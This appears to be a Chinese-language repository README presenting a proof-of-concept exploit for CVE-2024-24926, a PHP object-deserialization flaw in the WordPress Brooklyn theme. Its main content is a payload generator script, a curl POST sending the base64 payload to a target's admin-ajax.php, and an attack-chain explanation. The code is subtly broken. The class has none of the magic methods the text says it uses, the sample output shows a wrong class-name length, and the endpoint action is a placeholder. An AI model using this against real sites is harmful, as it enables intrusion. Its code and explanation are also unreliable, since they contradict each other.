WordPress Brooklyn 主题 CVE-2024-24926 反序列化漏洞利用与检测工具

2 阅读2分钟

CVE-2024-24926: WordPress Brooklyn 主题反序列化漏洞利用工具

本项目针对 WordPress Brooklyn 主题(版本 4.9.7.6 及之前版本)中存在的 CVE-2024-24926 反序列化漏洞,提供了概念验证(PoC)代码和利用示例。该漏洞允许攻击者通过发送特制的序列化对象,在目标服务器上执行任意代码,具有较高的安全风险。

功能特性

  • 漏洞验证:快速检测目标 WordPress 站点是否受 CVE-2024-24926 漏洞影响。
  • 恶意对象生成:自动生成 PHP 序列化后的恶意对象,并支持 Base64 编码输出,便于直接注入。
  • 远程代码执行:演示如何通过构造恶意对象,在服务器上执行系统命令(如 whoami)。
  • 教育目的:提供清晰的代码注释和利用原理,帮助安全研究人员理解反序列化漏洞的利用过程。

安装指南

系统要求

  • PHP 7.0 或更高版本(用于运行生成器脚本)
  • 具备向目标 WordPress 站点发送 HTTP 请求的环境(如 cURL、Burp Suite 或自定义脚本)

安装步骤

  1. 克隆本仓库到本地:
    git clone https://github.com/your-repo/cve-2024-24926-poc.git
    cd cve-2024-24926-poc
    
  2. 确保 PHP 环境可用,无需额外依赖。

使用说明

1. 生成恶意序列化对象

使用提供的 PHP 脚本生成一个包含系统命令的恶意对象,并输出其 Base64 编码后的字符串。

<?php
class Malicious {
    public $cmd = 'system("whoami");';
}
echo base64_encode(serialize(new Malicious()));
?>

运行脚本:

php generate_payload.php

输出示例:

TzowOiJNYWxpY2lvdXMiOjE6e3M6MzoiY21kIjtzOjE3OiJzeXN0ZW0oIndob2FtaSIpOyI7fQ==

2. 利用漏洞发送请求

将生成的 Base64 字符串作为攻击载荷,通过 HTTP 请求发送至存在漏洞的 WordPress 站点。具体注入点通常位于主题处理用户输入的位置(如文件上传、自定义字段等)。利用示例(使用 cURL):

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -d "action=some_vulnerable_action&data=TzowOiJNYWxpY2lvdXMiOjE6e3M6MzoiY21kIjtzOjE3OiJzeXN0ZW0oIndob2FtaSIpOyI7fQ=="

3. 验证结果

如果漏洞利用成功,服务器将执行 whoami 命令,并返回执行结果(如 www-data),证明存在远程代码执行风险。

核心代码

恶意对象生成器

<?php
/**
 * 类名: Malicious
 * 描述: 构造一个包含系统命令的恶意对象,用于触发反序列化漏洞。
 * 属性:
 *   - $cmd: 存储要执行的系统命令字符串。
 */
class Malicious {
    public $cmd = 'system("whoami");';
}

/**
 * 序列化恶意对象并进行 Base64 编码
 * 1. 创建 Malicious 类的实例
 * 2. 使用 serialize() 函数将对象转换为可传输的字符串
 * 3. 使用 base64_encode() 进行编码,确保在 HTTP 请求中安全传输
 */
$payload = base64_encode(serialize(new Malicious()));

echo "Generated Payload (Base64):\n";
echo $payload . "\n";

/**
 * 可选:解码显示原始序列化数据
 */
echo "\nDecoded Serialized Data:\n";
echo base64_decode($payload) . "\n";
?>

漏洞利用原理说明

  • 漏洞根源:WordPress Brooklyn 主题在反序列化用户可控的数据时,未进行充分的安全检查,导致攻击者可以注入任意 PHP 对象。
  • 攻击链
    1. 攻击者构造一个包含恶意 __destruct()__wakeup() 方法的 PHP 对象(如上例中的 Malicious 类)。
    2. 将该对象序列化并进行编码,通过 HTTP 请求发送至主题的某个端点。
    3. 目标服务器反序列化该对象时,触发其中的 system() 函数,执行攻击者指定的命令。
  • 影响范围:所有使用 Brooklyn 主题版本 ≤ 4.9.7.6 的 WordPress 站点。 6HFtX5dABrKlqXeO5PUv/8K5wMJaISJTiBbE+D/zWZ0=